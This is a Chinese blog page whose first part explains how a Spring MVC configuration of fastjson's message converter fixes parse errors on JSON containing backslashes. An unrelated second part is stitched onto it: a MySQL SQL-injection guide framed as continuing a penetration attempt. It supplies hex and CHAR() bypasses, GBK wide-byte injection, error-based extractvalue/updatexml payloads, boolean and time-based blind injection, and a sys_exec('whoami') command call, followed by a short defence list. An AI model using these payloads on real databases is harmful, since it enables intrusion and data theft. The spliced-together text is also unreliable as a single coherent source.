fastjosn处理‘\‘反斜杠报错问题的处理

本文介绍在SpringMVC中使用FastJSON进行序列化时如何处理含有反斜杠等特殊字符的JSON字符串。通过配置SpringMVC的消息转换器解决异常问题。

Spring MVC 使用fastjson做序列化反序列化时处理带有反斜杠’'等特殊字符的处理

一次在Spring mvc中引入 fastjson作为JSON解析工具类的时候,在接收含有特殊字符的JSON串时遇到了如下异常

 com.zhht.pps.controller.TobPpsOrderController.add() 参数: {
  "k" : "b38c04e4-6776-460c-8ff2-1c50b3cf872b",
  "data" : "{\n  \"orderMoney\" : \"6\",\n  \"carId\" : \"5d012c0d_bf82_11e7_8e04_6c92bf31522f\",\n  \"items\" : \"[\\n  {\\n    \\\"buyDate\\\" : \\\"2017-11-29\\\",\\n    \\\"endTime\\\" : \\\"16:40\\\",\\n    \\\"beginTime\\\" : \\\"14:00\\\",\\n    \\\"price\\\" : \\\"3.00\\\",\\n    \\\"ppsType\\\" : \\\"0\\\"\\n  },\\n  {\\n    \\\"buyDate\\\" : \\\"2017-11-30\\\",\\n    \\\"endTime\\\" : \\\"16:40\\\",\\n    \\\"beginTime\\\" : \\\"14:00\\\",\\n    \\\"price\\\" : \\\"3.00\\\",\\n    \\\"ppsType\\\" : \\\"0\\\"\\n  }\\n]\",\n  \"plateNumber\" : \"京FHHYHHY\",\n  \"ppsType\" : \"0\",\n  \"parkId\" : \"5770a654_4fde_11e6_bd3c_2880239dce10\"\n}"
}
2017-11-27 17:22:27.146 [e8302f76-58c3-428e-a1a8-0a1f986f8548] [ERROR]  TobPpsOrderController {TobPpsOrderController.java:102} - syntax error, expect {, actual string, pos 0, fastjson-version 1.2.41
com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 0, fastjson-version 1.2.41
	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:451)
	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:271)
	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:267)
	at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:640)
	at com.alibaba.fastjson.JSON.parseObject(JSON.java:365)
	at com.alibaba.fastjson.JSON.parseObject(JSON.java:333)
	at com.alibaba.fastjson.JSON.parseObject(JSON.java:247)
	

搜索了很多帖子都是在JSON串上做文章,通过json.repalce()的方式来替换特殊字符以达到正确解析目的的,但是一旦类似地方太多,产生大量重复代码,于是采用了修改Spring mvc配置的方式解决
关键配置如下:

<mvc:annotation-driven>
		<mvc:message-converters>
			<bean class="org.springframework.http.converter.StringHttpMessageConverter">
				<constructor-arg value="UTF-8" />
			</bean>
			<bean
				class="com.alibaba.fastjson.support.spring.FastJsonHttpMessageConverter">
				<property name="supportedMediaTypes">
					<list>
						<value>application/json</value>
					</list>
				</property>
			</bean>
		</mvc:message-converters>
	</mvc:annotation-driven>

希望能够帮到遇到相同问题的朋友!


在MySQL中,直接使用反斜杠(`\`)绕过单引号(`'`)可能因数据库配置(如`NO_BACKSLASH_ESCAPES`模式)或语法错误而失败。若遇到报错(如语法错误或无结果),可尝试以下方法继续渗透: --- ### **1. 检查反斜杠是否被转义** MySQL默认启用反斜杠转义(`\`作为转义字符),但若配置了`NO_BACKSLASH_ESCAPES`模式,反斜杠会被视为普通字符。 **测试方法**: ```sql -- 尝试转义单引号(正常情况) SELECT * FROM users WHERE username = '\admin'; -- 可能报错或无结果 -- 测试反斜杠是否生效 SELECT '\admin'; -- 若返回字符串"admin",则反斜杠未被转义 ``` **若反斜杠无效**,需改用其他方法(如十六进制、`CHAR()`函数)。 --- ### **2. 尝试其他绕过技术** #### **(1) 十六进制编码** ```sql -- 直接替换字符串为十六进制 SELECT * FROM users WHERE username = 0x61646d696e; -- "admin" ``` #### **(2) 使用`CHAR()`函数** ```sql -- 动态生成字符串 SELECT * FROM users WHERE username = CHAR(97,100,109,105,110); -- "admin" ``` #### **(3) 宽字符注入(GBK编码)** 若目标使用GBK编码,可尝试注入`%df'`,使反斜杠与后续字符被解析为宽字符: ```sql -- 假设输入点为参数化查询 admin%df' -- 可能绕过单引号限制 ``` --- ### **3. 利用报错注入提取数据** 若查询报错且返回数据库信息,可通过报错注入(Error-Based Injection)泄露数据。 **示例**: ```sql -- 通过报错函数获取数据库版本 SELECT * FROM users WHERE username = admin' AND extractvalue(1, concat(0x3a, version())); -- 报错显示版本 -- 或使用updatexml SELECT * FROM users WHERE username = admin' AND updatexml(1, concat(0x3a, database()), 1); -- 报错显示当前数据库名 ``` --- ### **4. 布尔盲注或时间盲注** 若无直接报错信息,可通过布尔逻辑或延迟函数推断数据: #### **(1) 布尔盲注** ```sql -- 判断条件是否成立(通过页面响应差异) SELECT * FROM users WHERE username = 'admin' AND (substring(database(),1,1) = 'd'); ``` #### **(2) 时间盲注** ```sql -- 通过延迟函数判断条件 SELECT * FROM users WHERE username = 'admin' AND IF(ascii(substring(database(),1,1))=100, sleep(5), 0); ``` --- ### **5. 尝试其他分隔符或语法** - **双引号**:若MySQL配置允许(如`ANSI_QUOTES`未启用),可用双引号包裹字符串: ```sql SELECT * FROM users WHERE username = "admin"; ``` - **括号或注释符**:分割或注释掉单引号: ```sql SELECT * FROM users WHERE username = admi' || 'n; -- 假设||可拼接字符串 ``` --- ### **6. 检测并利用存储过程/函数** 若用户有执行权限,可尝试调用系统函数或自定义存储过程: ```sql -- 调用系统函数(如通过报错) SELECT * FROM users WHERE username = admin' AND sys_exec('whoami'); -- 需权限 ``` --- ### **防御与绕过建议** 1. **修复代码**:始终使用参数化查询,避免SQL拼接。 2. **过滤输入**:对特殊字符(如`\`、`'`、`"`)进行转义或拒绝。 3. **最小权限原则**:数据库用户仅授予必要权限。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值